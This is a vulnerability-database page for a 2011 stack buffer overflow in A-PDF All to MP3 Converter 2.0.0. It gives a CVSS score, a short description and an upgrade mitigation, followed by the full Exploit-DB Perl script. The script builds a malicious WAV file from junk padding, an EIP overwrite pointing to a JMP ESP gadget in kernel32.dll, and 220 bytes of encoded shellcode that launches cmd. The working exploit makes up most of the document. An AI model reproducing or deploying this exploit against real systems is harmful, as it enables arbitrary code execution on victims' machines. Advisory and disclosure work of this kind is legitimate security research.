A-PDF All to MP3 Converter v.2.0.0 stack based buffer overflow

vendor:

All to MP3 Converter

by:

h1ch4m

7.8

CVSS

HIGH

Stack Based Buffer Overflow

119

CWE

Product Name: All to MP3 Converter

Affected Version From: <= 2.0.0

Affected Version To: <= 2.0.0

Patch Exists: YES

Related CWE: N/A

CPE: a:a-pdf:all_to_mp3_converter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 French

2011

A-PDF All to MP3 Converter v.2.0.0 stack based buffer overflow

A-PDF All to MP3 Converter version 2.0.0 is vulnerable to a stack based buffer overflow. By dragging a specially crafted WAV file, an attacker can execute arbitrary code on the vulnerable system. The exploit code contains a 220 byte shellcode that executes the command 'cmd' on the vulnerable system.

Mitigation:

Upgrade to the latest version of A-PDF All to MP3 Converter.

Source

Exploit-DB raw data:

# Exploit Title: A-PDF All to MP3 Converter v.2.0.0 stack based buffer overflow
# Software Link: http://www.a-pdf.com/all-to-mp3/download.htm
# Version: <= 2.0.0
# Tested on: Win XP SP3 French
# Date: 17/01/2011
# Author: h1ch4m
#Email: h1ch4m@live.fr
#Home: http://Net-Effects.blogspot.com
# triggering details:  Open the app, drag the wav file, booom cmd pops out

my $file= "1.wav";
my $junk = "\x41" x 4128;
my $EIP = pack('V', 0x7c86467b); # JMP ESP (ff e4)  kernel32.dll

# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/call4_dword_xor
# EXITFUNC=seh, CMD=cmd
my $shellcode = "\x29\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\xd1\xd1\xc1\x66\x83\xee\xfc\xe2\xf4\x2d\x39\x48\x66" .
"\xd1\xd1\xa1\xef\x34\xe0\x13\x02\x5a\x83\xf1\xed\x83\xdd" .
"\x4a\x34\xc5\x5a\xb3\x4e\xde\x66\x8b\x40\xe0\x2e\xf0\xa6" .
"\x7d\xed\xa0\x1a\xd3\xfd\xe1\xa7\x1e\xdc\xc0\xa1\x33\x21" .
"\x93\x31\x5a\x83\xd1\xed\x93\xed\xc0\xb6\x5a\x91\xb9\xe3" .
"\x11\xa5\x8b\x67\x01\x81\x4a\x2e\xc9\x5a\x99\x46\xd0\x02" .
"\x22\x5a\x98\x5a\xf5\xed\xd0\x07\xf0\x99\xe0\x11\x6d\xa7" .
"\x1e\xdc\xc0\xa1\xe9\x31\xb4\x92\xd2\xac\x39\x5d\xac\xf5" .
"\xb4\x84\x89\x5a\x99\x42\xd0\x02\xa7\xed\xdd\x9a\x4a\x3e" .
"\xcd\xd0\x12\xed\xd5\x5a\xc0\xb6\x58\x95\xe5\x42\x8a\x8a" .
"\xa0\x3f\x8b\x80\x3e\x86\x89\x8e\x9b\xed\xc3\x3a\x47\x3b" .
"\xbb\xd0\x4c\xe3\x68\xd1\xc1\x66\x81\xb9\xf0\xed\xbe\x56" .
"\x3e\xb3\x6a\x2f\xcf\x54\x3b\xb9\x67\xf3\x6c\x4c\x3e\xb3" .
"\xed\xd7\xbd\x6c\x51\x2a\x21\x13\xd4\x6a\x86\x75\xa3\xbe" .
"\xab\x66\x82\x2e\x14\x05\xbc\xb5\xc1\x66";

open($FILE,">$file");
print $FILE $junk.$EIP.$shellcode;
close($FILE);